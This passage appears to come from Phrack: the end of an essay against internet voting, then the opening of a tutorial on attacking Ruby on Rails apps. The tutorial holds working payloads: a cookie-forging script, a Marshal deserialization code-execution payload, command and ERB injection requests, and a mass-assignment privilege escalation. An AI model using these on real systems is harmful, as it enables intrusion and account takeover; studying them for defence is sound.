2) The e‑voting system must prevent a voter from casting more than a particular number of votes in a race, or one vote per ballot 3) The voter must be able to verify the votes on the ballot at any time until the vote is cast

4) The e‑voting system must tally the votes accurately. Votes must not be intentionally or accidentally mis‑recorded.

5) It must be possible to conduct an audit on the reported vote tally, using an out‑of‑band mechanism. A recount cannot be conducted by recounting votes on the server because a server with a bug will produce a bad recount as well.

I would add a sixth requirement:

6) Trust. The general population must be able to trust that votes, or the count, was not modified at any point in the counting process.

So the question is, could we design a system to meet all of these requirements? As we saw in the Helios example, there are certainly mathematical models that can do it. But our computers are so full of areas to exploit, it's not feasible to do given what we currently know about designing secure computer systems and I hope the examples I have provided have convinced you of this fact.

‑‑[ 10 ‑ Conclusion

This article has spent some time discussing internet voting in usage, as well as its technical shortcomings. But I would like to end on a brief discussion of the sociology behind democracy. I believe the following:

1. Internet voting is not compatible with democracy

2. No amount of technology can change this

3. Whom you voted for ought to be secret

4. Who voted should not be secret ‑‑ it should be known as widely as possible

5. And who counts the votes, and how, certainly ought not be secret

As I mentioned before, in 1856 a vigilance committee in San Francisco first found a ballot box with a false bottom, allowing ballots to be hidden in it and then secretly mixed in with the real ballots before counting. Ever since people have been trying to counter voter fraud with technology [2].

Democracy is somewhat miraculous compared to previous forms of government in that power is transferred smoothly and without violence, even between opposing factions. This is because people accept that whomever receives the most votes has a legitimate claim to authority. If people do not believe that the votes are legitimate, then they do not believe that the ruler has legitimate authority, and thus social chaos could ensue.

Further complicating the matter is that votes must be secret, or citizens can be coerced into voting for certain interests (or willingly bribed). Because I cannot look into a database and see that a vote from myself was recorded for candidate Bob in some election, I must inherently trust the ballot counting process. This means I trust that the organization tallying the votes (the government) successfully overcomes outside interests wanting to rig the outcome.

For hundreds of years we have used paper ballots to tally our elections. Paper ballots are far from perfect, and indeed we have seen instances of fraud on local scales. However, paper ballots do not have a single failure point where an entire country's election could be so efficiently compromised, especially in countries not known for having systemic corruption. Precinct workers verify who is actually coming to vote and mark their name as having voted (in many towns the precinct workers will recognize many of the voters). The ballots are then counted by people, in front of other people, in each precinct. These results are then congregated by district, state, etc. It is a distributed, fault tolerant system, which relies on human beings faith in a process run by other humans that they can monitor and understand.

With internet voting, a simple software bug could affect entire precincts, regions, or countries and be quite difficult to detect. A maliciously inserted bug, designed to manipulate an election, could slip through just as easily and have the same effects. It is very difficult for humans to know exactly what a computer is doing, especially when every computer on the internet is a potential voting kiosk.

Thus internet voting is not a case of technology bringing democracy up to date. It is a case of technology undermining confidence in a process that must be trusted for elected governments to succeed. I'm one voter who is happy to keep casting paper ballots.

‑‑[ 11 ‑ Acknowledgements

Much thanks to Twiga for her time and priceless advice in shaping this paper. daw provided great insight and background reading on end‑to‑end verifiable internet voting.

‑‑[ 12 ‑ References

[1] http://en.wikipedia.org/wiki/United_States_

presidential_election_in_Florida,_2000

[2] Broken Ballots: Will Your Vote Count?

Douglas W. Jones & Barbara Simons. 2012.

[6] http://www.emeraldinsight.com/journals.htm?articleid=863987

[7] http://www.cbsnews.com/8301‑505124_162‑57545531/o

hio‑faces‑controversy‑over‑voting‑machines/

[8] http://en.wikipedia.org/wiki/William_M._Tweed

[9] https://jhalderm.com/pub/papers/dcvoting‑fc12.pdf

[11] http://www.zdnet.com/probe‑says‑north‑korea‑behind‑south‑

korean‑hack‑7000013784/

[15] http://en.wikipedia.org/wiki/Silk_Road_(marketplace)

[17] http://allthingsd.com/20121105/after‑sandy‑new‑jersey‑becomes‑an‑

unwilling‑test‑case‑for‑internet‑voting/

[18] http://www.njelections.org/2012‑results/directive‑email‑voting.pdf

[19] http://en.wikipedia.org/wiki/Electronic_voting_examples

#2000_Arizona_Democratic_presidential_primary_Internet_election [20] http://www.vvk.ee/public/dok/Internet_Voting_in_Estonia.pdf

[21] http://www.cse.wustl.edu/~jain/cse571‑07/ftp/ballots.pdf

[26] http://www.poemhunter.com/poem/the‑brus‑book‑i/

[29] http://online.wsj.com/article/

SB10001424127887324345804578424741315433114.html

[30] "Election Board Warns About Confusing Mailers." http://www.channel3000.com/news/Elections‑board‑warns‑

about‑confusing‑mailers/‑/1648/16903214/‑/2jq57j/‑/index.html [31] http://static.usenix.org/event/evtwote10/tech/full_papers/

Estehghari.pdf

[32] http://heliosvoting.org/

[33] https://github.com/benadida/helios‑server

[34] http://www.win.tue.nl/~berry/papers/euro97.pdf

[35] https://www.schneier.com/essay‑101.html

[36] http://www.politico.com/news/stories/1112/84202.html

[38] http://en.wikipedia.org/wiki/Help_America_Vote_Act

[39] http://en.wikipedia.org/wiki/Russian_legislative_election,_2011

#Electoral_irregularities_and_assessment

[40] http://www.bbc.co.uk/news/world‑africa‑20660228

[41] http://en.wikipedia.org/wiki/Ballot_box

[42] http://www.bl.uk/onlinegallery/takingliberties/staritems/

159peoplescharterpic.html

[43] http://homepage.cs.uiowa.edu/~jones/voting/pictures/

[44] http://www.nist.gov/itl/vote/upload/chapter9.pdf

[45] http://demo.intelivote.com/WEBDEMO/

[46] http://www.recorder.ca/2010/10/27/

technical‑snags‑wont‑be‑repeated‑intelivote

[47] http://en.wikipedia.org/wiki/DRE_voting_machine

[48] A Survey of Internet Voting: http://www.eac.gov/assets/1/Documents/SIV‑FINAL.pdf

[49] http://www.systematic‑paris‑region.org/en/members/oppida

[50] https://en.wikipedia.org/wiki/Short_Message_Service

[51] http://www.everyonecounts.com

[52] http://www.elections.nsw.gov.au/__data/assets/pdf_file/

0007/93481/iVote_Audit_report_PIR_Final.pdf

[53] http://www.youtube.com/watch?v=ZVWIOwSkMew

[54] http://spectrum.ieee.org/computing/networks/

geneva‑vote‑will‑use‑quantum‑cryptography

[56] Bishop, Matt. "An Overview of Electronic Voting and Security." Department of Computer Science. University of California, Davis. [57] http://www.thedailybeast.com/newsweek/2009/05/23/

we‑do‑not‑trust‑machines.html

[58] http://www.theregister.co.uk/2007/10/01/dutch_pull_plug_on_evoting/

[59] http://www.edri.org/edri‑gram/number7.5/no‑evoting‑germany

[60] http://citeseerx.ist.psu.edu/viewdoc/

download?doi=10.1.1.71.9418&rep=rep1&type=pdf

[61] http://naveen.ksastry.com/papers/cryptovoting‑usenix05.pdf

Attacking Ruby on Rails Applications

==Phrack Inc.==

Volume 0x0f, Issue 0x45, Phile #0x0c of 0x10

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑=[ Attacking Ruby on Rails Applications ]=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=|

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=[ joernchen of Phenoelit ]=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=| |=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=[ joernchen@phenoelit.de ]=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=|

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

‑‑[ Table of contents

0 ‑ Intro

1 ‑ A Brief Overview

1.1 ‑ User input

1.1.1 ‑ POST/PUT/GET application/x‑www‑form‑urlencoded 1.1.2 ‑ Multiparameter attributes

1.1.3 ‑ POST/PUT text/xml

1.1.4 ‑ POST/PUT application/json

1.1.5 ‑ GET vs. POST/PUT

2 ‑ Common pitfalls

2.1 ‑ Sessions

2.2 ‑ to_json / to_xml

2.3 ‑ Code / Command Execution

2.3.1 ‑ Classical OS Command Injection

2.3.2 ‑ eval(user_input) and Friends

2.3.3 ‑ Indirections

2.4 ‑ Mass assignments

2.5 ‑ Regular Expressions

2.6 ‑ Renderers

2.7 ‑ Routing

3 ‑ My favourite technique ‑ CVE‑2013‑3221

4 ‑ Notes on Code Injection Payloads

5 ‑ Greetz and <3

A ‑ References

‑‑[ 0 ‑ Intro

This little article aims to give an introduction to the topic of attacking Ruby on Rails applications. It's neither complete nor dropping 0day. It's rather the authors attempt to accumulate the interesting attack paths and techniques in one write up. As yours truly spend most of his work on Ruby on Rails applications in the time when Rails version 3 was current, some of the described techniques are not applicable to Rails 4 any more. However there is still a broad attack surface of older applications as migrating Rails code up one or two version appears to be a real pain in the ass for lager projects (if you doubt this ask your local Rails startup peeps :) ).

‑‑[ 1 ‑ A Brief Overview

Basically Ruby on Rails [0] is a Model‑View‑Controller (MVC) based web application framework. It's overloaded with functionality, and this functionality is what at the end of the day introduces the fine bugs we all are looking for.

MVC is a software design pattern, which just says roughly the following:

The model is where the data lives, along with the business logic. So the model is an abstraction to the database. The view is what you see, like the HTML templates which get rendered. The controller itself is, what you interact with. It takes requests and decides upon them what to do with the data which were submitted.

This architecture is reflected in Rails on the file system, a sample application's directory structure would look like this:

.

|‑‑ app |here lives the applications main code | |‑‑ assets

| | |‑‑ images

| | |‑‑ javascripts

| | `‑‑ stylesheets

| |‑‑ controllers |here live the controllers

| |‑‑ helpers

| |‑‑ mailers

| |‑‑ models |this is where the models live

| `‑‑ views |and finally here are the views

| `‑‑ layouts

|‑‑ config |yummy config files

| |‑‑ environments

| |‑‑ initializers

| `‑‑ locales

|‑‑ db

|‑‑ doc

|‑‑ lib |more code

| |‑‑ assets

| `‑‑ tasks

|‑‑ log

|‑‑ public |static content

|‑‑ script

|‑‑ test | /* */

| |‑‑ fixtures

| |‑‑ functional

| |‑‑ integration

| |‑‑ performance

| `‑‑ unit

|‑‑ tmp

| `‑‑ cache

| `‑‑ assets

`‑‑ vendor

|‑‑ assets

| |‑‑ javascripts

| `‑‑ stylesheets

`‑‑ plugins |here might be bugs too

The point of first attention here is the ./app/ directory, this is where controllers, models and views live.

It has to be noted that the MVC design pattern, even tough it's implied by the filesystem layout of a fresh Rails application, is not enforced by Ruby on Rails in any way. For instance a developer might just put parts of the business logic into the view instead of into the model.

‑‑[ 1.1 ‑ User input

The following sub‑sections will cover the various kinds of user input a Rails application will understand and parse. The most prominent input vector for a Rails application is usually the params hash, which is described in detail below.

‑‑[ 1.1.1 ‑ POST/PUT/GET application/x‑www‑form‑urlencoded

The params hash (hash is Ruby slang for an associative array) holds the request parameters in Rails. So parameters that are POSTed like this:

username=hacker&password=happy

will yield a params hash like the following:

params = {"username"=>"hacker","password"=>"happy"}

Lots of magic is involved within Rails' parameter parsing. POST parameters encoded as application/x‑www‑form‑urlencoded or regular GET parameters can encode arrays like this:

user[]=Phrack&user[]=rulez

The resulting params hash is in this case:

params {"user" => ["Phrack","rulez"]}

Encoding sub‑hashes in the params hash is also possible:

user[name]=hacker&user[password]=happy

The above will result in params being the following:

params = {"user"=>{"name"=>"hacker","password"=>"happy"}}

Besides strings with the basic GET/POST parameters it is also possible to encode a Ruby nil value in this way:

user[name]

by leaving out the = and a value the resulting hash looks like:

params = {"user"=>{"name"=>nil}}

‑‑[ 1.1.2 ‑ Multiparameter attributes

When a single parameter has to carry multiple values in one attribute those can be encoded in simple POST and GET requests as well. Those so called multiparameters look like the following:

user[mulitparam(1)]=first_val&user[mulitparam(2)]=second_val&[...] &user[mulitparam(n)]=nth_val

Also valid is a multiparameter assignment with a single parameter like:

user[name(1)]=HappyHacker

Internally the values (1)..(n) will be converted into an array and this array will be assigned to the attribute. This is rarely to be seen in real world code, however useful for instance when it comes to e.g. timestamps:

post[date(1)]=1985&post[date(2)]=11&post[date(3)]=17

Where the above example would assign year, month and day of the post[date] parameter in a multiparameter attribute called date.

‑‑[ 1.1.3 ‑ POST/PUT text/xml

Besides the usual POST/PUT parameters Rails typically also understands XML input. This however was removed within the Rails 4 release [1].

With XML encoded parameters there are various typecasting possibilities. Here is an excerpt from the responsible parser (rails/activesupport/lib/active_support/xml_mini.rb):

PARSING = {

"symbol" => Proc.new { |symbol| symbol.to_sym }, "date" => Proc.new { |date| ::Date.parse(date) }, "datetime" => Proc.new { |time| ::Time.parse(time).utc rescue ::DateTime.parse(time).utc },

"integer" => Proc.new { |integer| integer.to_i }, "float" => Proc.new { |float| float.to_f }, "decimal" => Proc.new { |number| BigDecimal(number) }, "boolean" => Proc.new { |boolean|

%w(1 true).include?(boolean.strip) },

"string" => Proc.new { |string| string.to_s }, "yaml" => Proc.new { |yaml| YAML::load(yaml) rescue yaml }, "base64Binary" => Proc.new { |bin| ActiveSupport::Base64.decode64(bin) },

"binary" => Proc.new { |bin, entity| _parse_binary(bin, entity) },

"file" => Proc.new { |file, entity| _parse_file(file, entity) } }

PARSING.update(

"double" => PARSING["float"],

"dateTime" => PARSING["datetime"]

)

So if a boolean value should be contained in a POSTed variable within the params hash, this XML POSTed with Content‑Type: text/xml will achieve it:

<user>

<admin type="boolean">true</admin>

</user>

The params hash from the above POSTed XML would be:

params = {"user"=>{"admin"=>true}}

At this point it has to be noted that the conversions for the types "symbol" and "yaml" have been blacklisted since CVE‑2013‑0156. This CVE is actually the most impactful on RoR. Due to YAML being able to create arbitrary Ruby objects it was possible to gain code execution with just a single POST request, pretty similar to the sessions issue described in 2.1. Symbols have been removed from the conversion simply due to the fact, that they won't get garbage collected a runtime, therefore being useful for e.g. memory exhaustion attacks.

There are two more supported types which are not listed above, they rather are defined in rails/activesupport/lib/active_support/core_ext/hash/conversions.rb. Those two types are "hash" and "array". A hash is pretty simple to put up in XML. It needs to be POSTed like this:

<user>

<name>hacker</name>

</user>

The above XML will result in this hash:

params = {"user"=>{"name"=>"hacker"}}

Arrays with typed XML are assembled together like the following:

<a type="array">

<a>some value</a>

<a>some other value</a>

</a>

which will yield:

params = {"a"=>["some value","some other value"]}

Furthermore nil can be encoded this way

<a nil="true">

which results in this params hash:

{"a"=>nil}

‑‑[ 1.1.4 ‑ POST/PUT application/json

JSON input POSTed with the Content‑Type of application/json can't encode as many object types as XML, but the following types are defined per the JSON specification:

* String

* Object (which will be a hash in Ruby)

* Number

* Array

* True

* False

* Null (which will be nil in Ruby)

Before the Rails patches for the CVEs 2013‑0333 and 2013‑0268 it was possible to encode arbitrary Objects in JSON, the details on CVE‑2013‑0333 will be discussed in section 3.3.

With a POST request containing the following JSON payload:

{"a":["string",1,true,false,null,{"hash":"value"}]}

a params hash of:

params = {"a"=>["string", 1, true, false, nil, {"hash"=>"value"}]}

will be generated.

‑‑[ 1.1.5 ‑ GET vs. POST/PUT

By default it's even possible to send application/json and text/xml typed parameters within a GET request, by simply issuing a GET request with an according Content‑Type, a proper Content‑Length as well as the actual request body. For instance:

curl ‑X GET http://somerailsapp/ ‑H "Content‑type: application/json" \

‑‑data '{"a":"z"}'

Additional magic is buried in the _method parameter when used in a POST request.

For instance the following POST request will be interpreted as PUT:

curl ‑X POST http://somerailsapp/?_method=PUT ‑‑data 'somedata'

So setting _method in a POST request to a legal HTTP verb will let Rails interpret the POST as what _method is set to (GET,PUT, etc.).

‑‑[ 2 ‑ Common pitfalls

With the knowledge of various ways to encode our mali^W well crafted input for a Rails application, let's have a look at patterns of "what could possibly go wrong?". This section will elaborate some of the nasty side effects introduced by rather common coding practices in Ruby on Rails. Of course it will also be explained how to use those side effects in order to extend the functionality of an affected application.

‑‑[ 2.1 ‑ Sessions

By default Rails stores the sessions client‑side within a cookie. The whole session hash gets serialized (also encrypted in Rails 4) and HMACed (in Rails 3 and 4) in order to be tamper‑resistant.

Since Rails 4.1 the format for serialization used is JSON encoding. Before that version it used to be Ruby's own serialization format called Marshal. Marshaled ruby objects look like this:

irb(main):001:0> foo = ["Some funky string",{"a hash"=>1337}] => ["Some funky string", {"a hash"=>1337}] irb(main):002:0> Marshal.dump foo

=> "\x04\b[\aI\"\x16Some funky string\x06:\x06ET{\x06I\"\va hash\x06;\x00Ti\x029\x05"

It's basically a TLV serialization format, which can encode almost arbitrary Ruby Objects. The secret key to the HMAC/encryption might be stored in various locations depending on the Rails version it might be found in the following files:

* config/environment.rb

* config/initializers/secret_token.rb

* config/secrets.yml

* /proc/self/environ (if it's just given via an ENV variable)

In rare cases it might be found somewhere completely different. But the best place to look for Rails cookie secrets is Open Source code checked into public repositories.

Once revealed to a curious hacker the cookie signing/encryption secret offers a broad amount of fun to have with it.

First of all session tampering is possible, as we are able to sign/encrypt arbitrary session data. Typically (when no special authentication GEMs are used) the user_id of the currently logged in user is serialized into the session. So it's pretty much a piece of cake to serialize the user_id of any other user into the cookie using the following simple script:

#!/usr/bin/env ruby

# Sign a cookie in RoR style (Rails Version <=3.x only) require 'base64'

require 'openssl'

require 'optparse'

banner = "Usage: #{$0} ‑k KEY [‑c COOKIE]\n" +

"Cookie is a raw ruby expression like '{:user_id => 1}'"

hashtype = 'SHA1'

key = nil

cookie = {"user_id"=>1}

opts = OptionParser.new do |opts|

opts.banner = banner

opts.on("‑k", "‑‑key KEY") do |h|

key = h

end

opts.on("‑c", "‑‑cookie COOKIE") do |w|

cookie = w

end

end

begin

opts.parse!(ARGV)

rescue Exception => e

puts e, "", opts

exit

end

if key.nil?

puts banner

exit

end

cook = Base64.strict_encode64(Marshal.dump(eval("#{cookie}"))).chomp

digest = OpenSSL::HMAC.hexdigest(OpenSSL::Digest::Digest.new(hashtype), key, cook)

puts("#{cook}‑‑#{digest}")

The secret_token is not only usable for session tampering, it can even be used for remote command execution. The following Ruby method will generate a code‑executing session cookie (this is Rails 3 specific payload, but the same principle works with Rails 4 with slight modifications):

def build_cookie

code = "eval('whatever ruby code')"

marshal_payload = Rex::Text.encode_base64( "\x04\x08" +

"o" + ":\x40ActiveSupport::Deprecation::DeprecatedInstanceVariableProxy" + "\x07" +

":\x0E@instance" +

"o" + ":\x08ERB" + "\x06" +

":\x09@src" +

Marshal.dump(code)[2..‑1] +

":\x0C@method" + ":\x0Bresult"

).chomp

digest = OpenSSL::HMAC.hexdigest(OpenSSL::Digest::Digest.new("SHA1"), SECRET_TOKEN, marshal_payload)

marshal_payload = Rex::Text.uri_encode(marshal_payload) "#{marshal_payload}‑‑#{digest}"

end

For details on the Rails 4 version and more convenient use of the vector the exploits/multi/http/rails_secret_deserialization module in Metasploit is recommend reading/using.

The above code serializes an object in Rubys' Marshal format and then HMACs the serialized data. The object that is serialized is an instance of ActiveSupport::Deprecation::DeprecatedInstanceVariableProxy which is defined as the following:

class DeprecatedInstanceVariableProxy < DeprecationProxy def initialize(instance, method, var = "@#{method}", deprecator = ActiveSupport::Deprecation.instance) @instance = instance

@method = method

@var = var

@deprecator = deprecator

end

private

def target

@instance.__send__(@method)

end

def warn(callstack, called, args) @deprecator.warn(

"#{@var} is deprecated! Call #{@method}.#{called} instead of " + "#{@var}.#{called}. Args: #{args.inspect}", callstack) end

end

DeprecatedInstanceVariableProxy again inherits from DeprecationProxy, which defines the following interesting method:

def method_missing(called, *args, &block)

warn caller, called, args

target.__send__(called, *args, &block)

end

as well as undefines some methods:

instance_methods.each { |m| undef_method m

unless m =~ /^__|^object_id$/ }

Inside this DeprecatedInstanceVariableProxy an ERB object is placed asA "instance", and "method" is set to "result". ERB stands for embedded Ruby and is in RoR to have HTML templates including Ruby code, so basically ERB is used for the views in a Rails application. The "src" variable for this ERB object is an arbitrary string of Ruby code. After deserialization and construction of the two nested objects the following will happen:

The above mentioned interesting method called method_missing is an expression of Ruby magic. When an object defines a method_missing this method will be called whenever a method on the object is called which does not exist (is missing).

As soon as any method on the deserialized object is called, this will be passed to "method_missing" as (almost) all instance methods have been undefined. "method_missing" will now first call "warn" and afterwards call target which will send the method "result" to the ERB object. "result" will interpret and the code attached in the ERB object as "src".

The following irb snippet demonstrates this behavior:

1.9.3p194 :001 > require 'rails/all'

=> true

1.9.3p194 :002 > Marshal.load( "\u0004\bo:@ActiveSupport::Deprecation::DeprecatedInstanceVariableProxy"+ "\a:\u000E@instanceo:\bERB\u0006:\t@srcI\"\u0018eval('puts \"ohai\"')"+ "\u0006:\u0006ET:\f@method:\vresult")

ohai

=> nil

Credits for the above technique go to Charlie Somerville.

Since Rails 4.1 this vector is not usable anymore, due to the fact that JSON encoding is used to serialize the session. Actually thats not entirely true, as there is of course backward compatibility for legacy session cookies. Those legacy cookies are taken into account if in a Rails App >= Version 4.1 a secret_token is defined together with the new secret_key_base. Or if there is only a secret_token but no secret_key_base, which might be the case if you upgrade your App from Rails 3.something to 4.1 or later. You can tell that you're dealing with a legacy cookie if the cookie value starts with "BAh" which Base64 decodes to the Marshal header.

If the session's secret is not known, there is still some room to fail, so for example let's say an appliance by BigVendor has a RoR Webinterface, and additionally stores the currently logged in users' ID in the session. Now the BigVendor has a little problem if the session secret is the same on all appliances. If user admin A of appliance A' has a session cookie for it's user_id 1 on A', it's a legit session cookie for appliance B' where admin B has user_id 1 as well (the ID is typically incremental starting from 1 and admin is usually created first). To paraphrase this: "What has been HMACed cannot be un‑HMACED".

‑‑[ 2.2 ‑ to_json / to_xml

Within Rails the scaffolding process generates automatic XML and JSON renderers. Those include by default all attributes of the model. A neat showcase for this behavior is documented in [3] where a simple authenticated request of http://demo.fatfreecrm.com/users/1.json yielded

the following json output:

{

"user": {

"admin": true,

"aim": "",

"alt_email": "",

"company": "example",

"created_at": "2012‑02‑12T02:00:00+02:00", "current_login_at": "2013‑08‑26T22:12:05+03:00", "current_login_ip": "61.143.60.146", "deleted_at": null,

"email": "aaron@example.com",

"first_name": "Aaron",

"google": "",

"id": 1,

"last_login_at": "2013‑08‑24T22:20:06+03:00", "last_login_ip": "122.173.185.99", "last_name": "Assembler",

"last_request_at": "2013‑08‑26T22:13:35+03:00", "login_count": 481,

"mobile": "(800)555‑1211",

"password_hash": "[...]",

"password_salt": "[...]",

"perishable_token": "NE0n6wUCumVNdQ24ahRu", "persistence_token": "...",

"phone": "(800)555‑1210", "single_access_token": "TarXlrOPfaokNOzls2U8", "skype": "ranzitreddy",

"suspended_at": null,

"title": "VP of Sales",

"updated_at": "2013‑08‑26T22:13:35+03:00", "username": "aaron",

"yahoo": ""

}

}

The format parameter could, depending on the actual app's routes be either just a appended .json/.xml or a query parameter "format=json"/"format=xml" within the URL.

In some rarely but seen in the wild cases there are even "format=js" renderes which yield vulnerabilities. Imagine a user's inbox at:

http://some.host/inbox/messages

When here the JavaScript renderer emits e.g. JQuery framgents like:

$("#messages").hmtl("here goes the user's inbox")

We just might include

<script src="http://some.host/inbox/messages?format=js"></script>

on a third party website and leak the users' inbox. This is pretty much the same concept like a JSONP leak.

‑‑[ 2.3 ‑ Code / Command Execution

Now off to the real fun: different ways to execute your code on other people's web servers.

‑‑[ 2.3.1 ‑ Classical OS Command Injection

The classical command injection patterns of course also apply to Ruby on Rails applications.

Things to watch out for include:

* `command`

* %x/command/

* IO.popen(command)

* Kernel.exec

* Kernel.system

* Kernel.open("| command")

This list is not complete in any way, as there are many other Rubygems implementing wrappers around those functions (also maybe I've just missed for instance open3 in this list). As the average Phrack reader should be pretty familiar with the concept of OS command injection flaws we do not bother to further elaborate on this type of issue ;P.

A little sidenote on Kernel.open(): when the first character in the argument to Kernel.open is a pipe, the method basically behaves like popen. And the rest of the string after the pipe is taken as a command line.

‑‑[ 2.3.2 ‑ eval(user_input) and Friends

Things get a bit more interesting when it comes to RoR constructs which end up in eval()ing user input. Here, due to Rubys' endless possibilities of dynamic programming and monkey patching, things get a bit more interesting. Hints on how to utilize in‑framework code execution are given in section 4.

With the following methods we can evalute nifty payloads within the apps' runtime/environment:

* eval

within the current context

* instance_eval

within the context of the current instance of a class

* class_eval

within the context of a class itself

In occurrences of such in‑framework evaluation of attacker‑given inputs, we can pretty much redefine and access anything within the application.

‑‑[ 2.3.3 Indirections

Another fun thing when it comes to monkey patching and dynamic (hooray!) programming are indirections introduced by calling one of the following methods on user input:

* send

* __send__

* public_send

* try

What send et.al. do is calling a method denoted by the first parameter, which might be a string or a symbol, and passing the further arguments to the called method.

So imagine (this is actually not too imaginary [4]) the following construct:

send(params[:a],params[:b])

Easy enough we can turn this into in‑Framework RCE by supplying:

a=eval&b=whatever%20ruby%20code%20we%20like

The main differences between the above listed methods are:

* send and __send__: none

* send and try: try is defined within Rails and just silently drops all exceptions which might occur

* public_send will only call public methods on an object

The limitation of public_send however can be bypassed as send itself is public:

irb(main):002:0> "".public_methods.grep /send/

=> [:send, :public_send, :__send__]

The above construction of having at least two, and most importantly the first argument to __send__ under control however is rather rare. Mostly you will see the code like:

Thing.send(:hard_coded_method_name, params[someparam])

As the method to be called is hard coded we cannot leverage arbitrary code execution unfortunately.

‑‑[ 2.4 ‑ Mass assignments

Mass assignments were a pretty popular exploit target in Rails 3. The underlying concept is, that the application assigns arbitrary values of the model when being saved:

app/controller/users_controller.rb:

def update

@user = User.find(params[:id])

respond_to do |format|

if @user.update_attributes(params[:user])

If the User model has e.g. an "admin" attribute any user might promote themselves to admin by just posting that attribute towards to the application.

A common malpractice which tries to prevent Mass Assignments is shown in the code sample below:

app/controller/users_controller.rb:

def update

@user = User.find(params[:id]) params[:user].delete(:admin) # make sure to protect admin flag respond_to do |format|

if @user.update_attributes(params[:user])

[...]

Within this controller and the usage of Multiparameter Attributes as introduced in section 1.4.2 we can bypass the params[:user].delete(:admin) sanitization as with the following payload:

user[admin(1)]=true

As the multiparameter attribute gets parsed in user.update_attributes, the protection params[:user].delete(:admin) will not catch the user[admin(1)] attribute, allowing us to elevate our privileges. This is simply due to the fact that the parameter within the controller will be "admin(1)" as in contrast to "admin", the actual assignment of admin(1) to the admin flag happens in the update_attributes call.

The proper way to prevent attributes from being automatically assigned within Rails 3.x would be the usage of attr_accessible to define which attributes are whitelisted for mass assignment.

‑‑[ 2.5 ‑ Regular Expressions

Ruby has a special handling of regular expressions, the regexps are matching by default in multi‑line mode. This is not the case for instance in Perl or other programming languages.

To demonstrate this behavior compare the two command lines below:

$ perl ‑e '$a="foo\nbar"; $a =~ /^foo$/ ? print "match" : \ print "no match"'

no match

$ ruby ‑e 'a="foo\nbar"; if a =~ /^foo$/; puts "match"; \ else puts "no match"; end'

match

The string "foo\nbar" does not match the regular expression /^foo$/ in the Perl code snippet, it is matching in the Ruby code snippet.

The main problem with this regular expression handling is that quite a lot of developers are not aware of this subtle difference. This results in improper checks and validations. As an example the controller below comes close to what can be observed in real world code (the regex is somewhat simplified here):

class PingController < ApplicationController

def ping

if params[:ip] =~ /^\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}$/ render :text => `ping ‑c 4 #{params[:ip]}`

else

render :text => "Invalid IP"

end

end

end

The developer's expectation is to match only numbers and dots within the above IP address validation. But due to the default multi line mode of Ruby's regular expression parser the above check can be circumvented by a string like "1.2.3.4.\nsomething". The $ in the above regex would stop at \n therefore the above code is command injectable with a simple request like this:

$ curl localhost:3000/ping/ping ‑H "Content‑Type: application/json" \ ‑‑data '{"ip" : "127.0.0.999\n id"}'

Instead of using ^ and $ \A and \z should be used to match the beginning and end of the string, rather than the beginning or end of the line.

Another common usecase of this RegEx behavior is the verification of user given links. So for instance the RegEx /^https?:\/\// is bypassable by

supplying a link like:

"javascript:alert('lol')/*\nhttp://*/" (note the newline)

When this input is rendered into a href attribute of an anchor tag, we've gotten a straight froward Cross‑Site Scripting.

‑‑[ 2.6 Renderers

The render statement in RoR is used to render different templates or just plain text towards the users Browser like:

render text: "Ohai World!"

If we are in the lucky postition to see something like this:

render params[:t]

We are able to inject ERb content by supplying a parameter t of:

t[inline]=<%=`id`%>

curl 'localhost:3000/?&t\[inline\]=%3c%25=%60id%60%25%3e'

This works due to the fact that the render statement takes a hash as argument which will be in the above case:

inline: "<%=`id`%>"

Where the inline renderer expects an ERb string. Et voila here we go with user supplied code to be executed.

‑‑[ 2.7 Routing

The file config/routes.rb describes which Controllers are reachable under which path and HTTP verb, so for instance:

post "user/add" => "users#add_user"

would expose the method add_user from the UsersController at the path '/users/add' via a Post request. A common mistake however is a default catch‑all route like the following:

match ':controller(/:action(/:id))(.:format)', via: [:get, :post]

This would expose every public method from every Controller being accessible both via GET and POST requests. The main problem with such a catch‑all route is, that it completely subverts the RoR CSRF protection, as GET requests are assumed to be not state changing, and therefore are white‑listed within the CSRF protection. So in the above example with the two given routes an attacker would just CSRF something like:

http://vict.im/user/add?user[name]=haxx0r&user[password]=h4x0rp455&

user[admin]=1

In order to subvert the CSRF protection which was intended by the 'post' statement in the routes.

‑‑[ 3 ‑ My favourite technique ‑ CVE‑2013‑3221

This section is dedicated to my favourite RoR attack technique, which was initially NOT addressed by issuing CVE‑2013‑3221.

The issue described in CVE‑2013‑3221 is a neat way to abuse MySQL's automagic type conversion in order to e.g. reset arbitrary passwords within some Ruby on Rails applications (including but not limited to the BlackHat CFP Review System [5]).

Let's first have a look at MySQL and how it compares numbers to strings:

mysql> SELECT 123 FROM dual WHERE 1=1;

+‑‑‑‑‑+

| 123 |

+‑‑‑‑‑+

| 123 |

+‑‑‑‑‑+

1 row in set (0.00 sec)

mysql> SELECT 123 FROM dual WHERE 1="1";

+‑‑‑‑‑+

| 123 |

+‑‑‑‑‑+

| 123 |

+‑‑‑‑‑+

1 row in set (0.00 sec)

mysql> SELECT 123 FROM dual WHERE 1="1somestring";

+‑‑‑‑‑+

| 123 |

+‑‑‑‑‑+

| 123 |

+‑‑‑‑‑+

1 row in set, 1 warning (0.00 sec)

mysql> SELECT 123 FROM dual WHERE 1="somestring";

Empty set, 1 warning (0.00 sec)

mysql> SELECT 123 FROM dual WHERE 0="somestring";

+‑‑‑‑‑+

| 123 |

+‑‑‑‑‑+

| 123 |

+‑‑‑‑‑+

1 row in set, 1 warning (0.00 sec)

A pretty common technique for password resets in web applications is to send out a token via email to the user. This token lets the user reset the password right away.

In Ruby on Rails such a reset process would roughly look like this:

# PasswordController

def reset

